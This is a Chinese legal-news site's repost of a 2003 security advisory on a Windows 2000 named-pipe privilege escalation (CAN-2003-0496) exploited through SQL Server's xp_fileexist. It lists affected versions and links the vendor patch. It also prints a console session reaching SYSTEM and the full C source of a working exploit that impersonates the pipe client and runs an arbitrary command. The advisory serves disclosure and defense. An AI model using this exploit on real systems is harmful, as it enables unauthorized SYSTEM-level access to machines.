法搜网--搜尽天下法律信息
本站网络实名:法搜
设为首页  |  法搜首页 |  法搜论坛 |  法搜排行榜 |  法律新闻  |  案例

  请您加入我们的"法律聚焦"邮件列表.
  报道法律热门新闻、经典案例分析、法律实事讨论


  
  文章搜索
内 容
类 别
  今日热点

上下班被自行车撞伤纳入工伤
刑法修正案八草案提请审议
男子强奸16女子被注射式死刑
女经理15张信用卡透支24万
绑匪心软偷放女人质后自首
检察院决定不予逮捕

国务院首次明确推进房产税改革
北京中小学取消户籍壁垒
外地生可
免费入学
河南坐11年冤狱农民赵作海获65万...
百度告青岛联通流量劫持案件胜诉

  首页 >> 网络安全 >> 最新漏洞
Microsoft Windows CreateFile API命名管道权限提升漏洞
WWW.FSOU.COM 来源:www.fsou.com 时间:2005-10-21

Microsoft Windows CreateFile API命名管道权限提升漏洞


发布时间:2003-07-08
更新时间:2003-07-15
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:8128
CVE(CAN) ID:CAN-2003-0496

受影响系统

Microsoft Windows 2000 Advanced Server SP3        
Microsoft Windows 2000 Advanced Server SP2        
Microsoft Windows 2000 Advanced Server SP1        
Microsoft Windows 2000 Advanced Server            
Microsoft Windows 2000 Datacenter Server SP3      
Microsoft Windows 2000 Datacenter Server SP2      
Microsoft Windows 2000 Datacenter Server SP1      
Microsoft Windows 2000 Datacenter Server          
Microsoft Windows 2000 Professional SP3          
Microsoft Windows 2000 Professional SP2          
Microsoft Windows 2000 Professional SP1          
Microsoft Windows 2000 Professional              
Microsoft Windows 2000 Server SP3                
Microsoft Windows 2000 Server SP2                
Microsoft Windows 2000 Server SP1                
Microsoft Windows 2000 Server                    
Microsoft Windows 2000 Terminal Services SP3      
   +Microsoft Windows 2000 Advanced Server SP3    
   +Microsoft Windows 2000 Datacenter Server SP3  
   +Microsoft Windows 2000 Server SP3            
Microsoft Windows 2000 Terminal Services SP2      
   +Microsoft Windows 2000 Advanced Server SP2    
   +Microsoft Windows 2000 Datacenter Server SP2  
   +Microsoft Windows 2000 Server SP2            
Microsoft Windows 2000 Terminal Services SP1      
   +Microsoft Windows 2000 Advanced Server SP1    
   +Microsoft Windows 2000 Datacenter Server SP1  
   +Microsoft Windows 2000 Server SP1            
Microsoft Windows 2000 Terminal Services          
   +Microsoft Windows 2000 Advanced Server        
   +Microsoft Windows 2000 Datacenter Server      
   +Microsoft Windows 2000 Server
未影响系统
Microsoft Windows 2000 Advanced Server SP4      
Microsoft Windows 2000 Datacenter Server SP4    
Microsoft Windows 2000 Professional SP4        
Microsoft Windows 2000 Server SP4              
Microsoft Windows 2000 Terminal Services SP4    
   +Microsoft Windows 2000 Advanced Server SP4  
   +Microsoft Windows 2000 Datacenter Server SP4
   +Microsoft Windows 2000 Server SP4
详细描述
Microsoft Windows未能正确处理CreateFile API建立的命名管道,当以此命名管道作为参数传递给SQL Server的xp_fileexist存储过程时会导致攻击者以SQL进程的权限执行任意命令。

测试代码
C:\>mssqlpipe.exe cmd.exe
Creating pipe: \\.\Pipe\atstake
Pipe created, waiting for connectection
Connect to the database (with isql for example) and execute:
xp_fileexist '\\SERVERNAME\pipe\atsstake'

Then in command shell #2:

C:\>isql -U andreas
Password:
1> xp_fileexist '\\TEMP123\pipe\atstake'
2> go
File Exists File is a Directory Parent Directory Exists
----------- ------------------- -----------------------
1 0 1

Then, back in command shell #1:

Impersonate user successful, we are running as user: SYSTEM

/*  tac0tac0.c - pay no attention to the name, long
story...
  *
  *  Author:  Maceo
  *  Modified to take advantage of CAN-2003-0496 Named
Pipe Filename
  *  Local Privilege Escalation Found by @stake. Use with
their Advisory.
  *  -wirepair@sh0dan.org http://sh0dan.org
  *
  *
  *  All credits for code go to Maceo, i really did
minimal work
  *  with his code, it took me like 3 seconds heh.
  *  Shouts to #innercircle,
  *
  */


#include <stdio.h>
#include <windows.h>


int main(int argc, char **argv)
{
   DWORD dwNumber = 0;
   DWORD dwType = REG_DWORD;
   DWORD dwSize = sizeof(DWORD);

   if (argc != 2) {
      fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local
Priv Escalation found by @stake.\n"
                       "This code is to be used with MS-SQL exactly as
outlined in their advisory\n"
                       "All credit for this code goes to Maceo, he did a
fine job.. -wire\n",argv[0]);
                       exit(1);
   }
   // build the next named pipe name //
   char szPipe[64];
   //sprintf(szPipe, "\\\\.\\pipe\\net\\NtControlPipe%lu",
++dwNumber);
   sprintf(szPipe, "\\\\.\\pipe\\poop");

   // create the named pipe before scm can //
   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                            PIPE_TYPE_MESSAGE|PIPE_WAIT,
                            2, 0, 0, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE)
   {
     printf ("Failed to create named pipe:\n  %s\n",
szPipe);
     return 3;
   }


   ConnectNamedPipe (hPipe, NULL);

   // assume the identity of the client //
   if (!ImpersonateNamedPipeClient (hPipe))
   {
     printf ("Failed to impersonate the named pipe.\n");
     CloseHandle(hPipe);
     return 5;
   }


   // display impersonating users name //
   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);
   printf ("Impersonating: %s\n", szUser);

   system(argv[1]);
   CloseHandle(hPipe);
   return 0;
}

解决方案
厂商已经在最新的补丁包中修补了此漏洞:

Microsoft Windows 2000 Server SP3:
      Microsoft Upgrade Windows 2000 SP4
      http://www.microsoft.com/windows2000/downloads/servicepacks/sp4/default.asp

相关信息
Named Pipe Filename Local Privilege Escalation
http://www.atstake.com/research/advisories/2003/a070803-1.txt
  相关文章
Win 2000 DCOM RPC权限漏洞 (2005.10.21)
 
设为首页  |  法搜首页 |  法搜论坛 |  法搜排行榜 |  关于法搜  |  招聘信息

本站网络实名:法搜 Copyright © 2007 FSou!  京ICP备05006567号不良信息举报中心

1 1